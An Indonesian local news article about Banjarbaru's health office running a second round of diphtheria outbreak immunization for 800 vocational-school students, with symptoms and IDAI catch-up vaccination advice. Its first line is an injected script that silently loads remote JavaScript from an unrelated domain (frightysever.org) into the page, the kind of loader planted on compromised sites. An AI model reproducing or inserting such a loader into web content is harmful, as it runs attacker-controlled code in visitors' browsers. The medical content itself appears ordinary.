(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

ORI Difteri Putaran Kedua Dilakukan Dinkes Banjarbaru


BANJARBARU, Upaya mencegah penyebaran KLB difteri Dinkes Kota Banjarbaru melaksanaan Outbreak Response Immunization (ORI) difteri putaran kedua di Sekolah Menengah Kejuruan Negeri (SMKN) 1 Banjarbaru, Rabu (11/4).

Sebanyak 800 pelajar di SMKN 1 Banjarbaru mendapat penyuntikan ORI difteri oleh petugas Puskesmas Banjarbaru Selatan. ORI difteri ini adalah salah satu program Dinas Kesehatan Kota Banjarbaru, yang dilaksanakan oleh petugas RS Idaman Banjarbaru dan Puskesmas Banjarbaru Selatan.

“Kita semua sudah tahu jika penyakit difteri adalah salah satu penyakit berbahaya yang dapat mengancam keselamatan jiwa khususnya bagi anak-anak,” ujar Hj Eny Apriyati Darmawan.

Sebenarnya penyakit difteri ini sudah terbilang cukup langka, jumlah penderita difteri di dunia terus menurun dari tahun ke tahun, seiring dengan semakin meratanya pemberian vaksin antidifteri di seluruh dunia.

Masuknya bakteri penyakit difteri ke dalam tubuh berlangsung selama dua hari hingga lima hari. Dengan gejala awal seperti demam, nafsu makan menurun, lesu, nyeri ditenggorkan ketika menelan, kelenjar dari hidung berwarna kuning kehijauan danbisa disertai darah. Lama kelamaan, bakteri ini menyebabkan tertutupnya saluran napas, kerusakan otot jantung (miokarditis), kerusakan saraf (polineuropati), kehilangan kemampuan bergerak(lumpuh), dan Infeksi pary (gagal napas atau pneumonia).

Untuk itu, disarankan kepada para orang tua untuk segera melakukan imunisasi kepada anak-anaknya. Namun jika ada yang sudah tertular penyakit difteri, maka harus segera ditangani oleh tenaga medis pada puskesmas atau rumah sakit.

Bagaimana jika imunisasi difteri tidak lengkap atau terlambat?
Ini yang sering menjadi pertanyaan, namun sebagai orang tua Anda tidak usah bingung.

Berikut ini keterangan dari Ikatan Dokter Anak Indonesia (IDAI):

Apabila imunisasi DPT terlambat diberikan, berapa pun interval keterlambatannya, jangan mengulang dari awal, tetapi lanjutkan imunisasi sesuai jadwal.

Bila anak belum pernah diimunisasi dasar pada usia <12 bulan, lakukan imunisasi sesuai imunisasi dasar baik jumlah maupun intervalnya.

Bila pemberian DPT ke-4 sebelum ulang tahun ke-4, pemberian ke-5 paling cepat diberikan 6 bulan sesudahnya. Bila pemberian ke-4 setelah umur 4 tahun, pemberian ke-5 tidak diperlukan lagi.

Agar lebih yakin lagi, Anda bisa melakukan konsultasi terlebih dahulu dengan dokter perihal keterlambatan imunisasi difteri pada anak Anda ini. (devi)

Reporter: Devi
Editor: Abi Zharrin Al Ghifari

Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

4 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

5 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

5 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

5 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

6 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

9 jam ago

This website uses cookies.